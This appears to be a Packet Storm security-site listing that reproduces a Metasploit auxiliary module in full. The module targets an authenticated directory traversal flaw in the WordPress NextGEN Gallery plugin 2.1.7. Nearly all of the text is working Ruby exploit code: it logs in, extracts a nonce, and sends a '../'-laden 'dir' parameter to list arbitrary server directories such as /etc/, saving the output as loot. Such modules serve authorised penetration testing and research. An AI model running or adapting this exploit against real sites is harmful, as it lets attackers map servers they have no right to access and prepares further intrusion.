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WordPress NextGEN Gallery Directory Read

🗓️ 01 Sep 2024 00:00:00Reported by Roberto S. Soares, Sathish Kumar, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 162 Views

This module exploits an authenticated directory traversal vulnerability in WordPress Plugin "NextGEN Gallery" version 2.1.7, allowing to read arbitrary directories with the web server privileges

Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'json'  
require 'nokogiri'  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Auxiliary::Report  
include Msf::Exploit::Remote::HTTP::Wordpress  
include Msf::Auxiliary::Scanner  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'WordPress NextGEN Gallery Directory Read Vulnerability',  
'Description' => %q{  
This module exploits an authenticated directory traversal vulnerability  
in WordPress Plugin "NextGEN Gallery" version 2.1.7, allowing  
to read arbitrary directories with the web server privileges.  
},  
'References' =>  
[  
['WPVDB', '8165'],  
['URL', 'http://permalink.gmane.org/gmane.comp.security.oss.general/17650']  
],  
'Author' =>  
[  
'Sathish Kumar', # Vulnerability Discovery  
'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit Module  
],  
'License' => MSF_LICENSE  
))  
  
register_options(  
[  
OptString.new('WP_USER', [true, 'A valid username', nil]),  
OptString.new('WP_PASS', [true, 'Valid password for the provided username', nil]),  
OptString.new('DIRPATH', [true, 'The path to the directory to read', '/etc/']),  
OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 7 ])  
])  
end  
  
def user  
datastore['WP_USER']  
end  
  
def password  
datastore['WP_PASS']  
end  
  
def check  
check_plugin_version_from_readme('nextgen-gallery', '2.1.9')  
end  
  
def get_nonce(cookie)  
res = send_request_cgi(  
'uri' => normalize_uri(wordpress_url_backend, 'admin.php'),  
'method' => 'GET',  
'vars_get' => {  
'page' => 'ngg_addgallery'  
},  
'cookie' => cookie  
)  
  
if res && res.redirect? && res.redirection  
location = res.redirection  
print_status("Following redirect to #{location}")  
res = send_request_cgi(  
'uri' => location,  
'method' => 'GET',  
'cookie' => cookie  
)  
end  
  
res.body.scan(/var browse_params = {"nextgen_upload_image_sec":"(.+)"};/).flatten.first  
end  
  
def parse_paths(res)  
begin  
j = JSON.parse(res.body)  
rescue JSON::ParserError => e  
elog(e)  
return []  
end  
  
html = j['html']  
noko = Nokogiri::HTML(html)  
links = noko.search('a')  
links.collect { |e| normalize_uri("#{datastore['DIRPATH']}/#{e.text}") }  
end  
  
def run_host(ip)  
vprint_status("Trying to login as: #{user}")  
cookie = wordpress_login(user, password)  
if cookie.nil?  
print_error("Unable to login as: #{user}")  
return  
end  
store_valid_credential(user: user, private: password, proof: cookie)  
  
vprint_status("Trying to get nonce...")  
nonce = get_nonce(cookie)  
if nonce.nil?  
print_error("Can not get nonce after login")  
return  
end  
vprint_status("Got nonce: #{nonce}")  
  
traversal = "../" * datastore['DEPTH']  
filename = datastore['DIRPATH']  
filename = filename[1, filename.length] if filename =~ /^\//  
  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path),  
'headers' => {  
'Referer' => "http://#{rhost}/wordpress/wp-admin/admin.php?page=ngg_addgallery",  
'X-Requested-With' => 'XMLHttpRequest'  
},  
'vars_get' => {  
'photocrati_ajax' => '1'  
},  
'vars_post' => {  
'nextgen_upload_image_sec' => "#{nonce}",  
'action' => 'browse_folder',  
'dir' => "#{traversal}#{filename}"  
},  
'cookie' => cookie  
)  
  
if res && res.code == 200  
  
paths = parse_paths(res)  
vprint_line(paths * "\n")  
  
fname = datastore['DIRPATH']  
path = store_loot(  
'nextgen.traversal',  
'text/plain',  
ip,  
paths * "\n",  
fname  
)  
  
print_good("File saved in: #{path}")  
else  
print_error("Nothing was downloaded. You can try to change the DIRPATH.")  
end  
end  
end  
`

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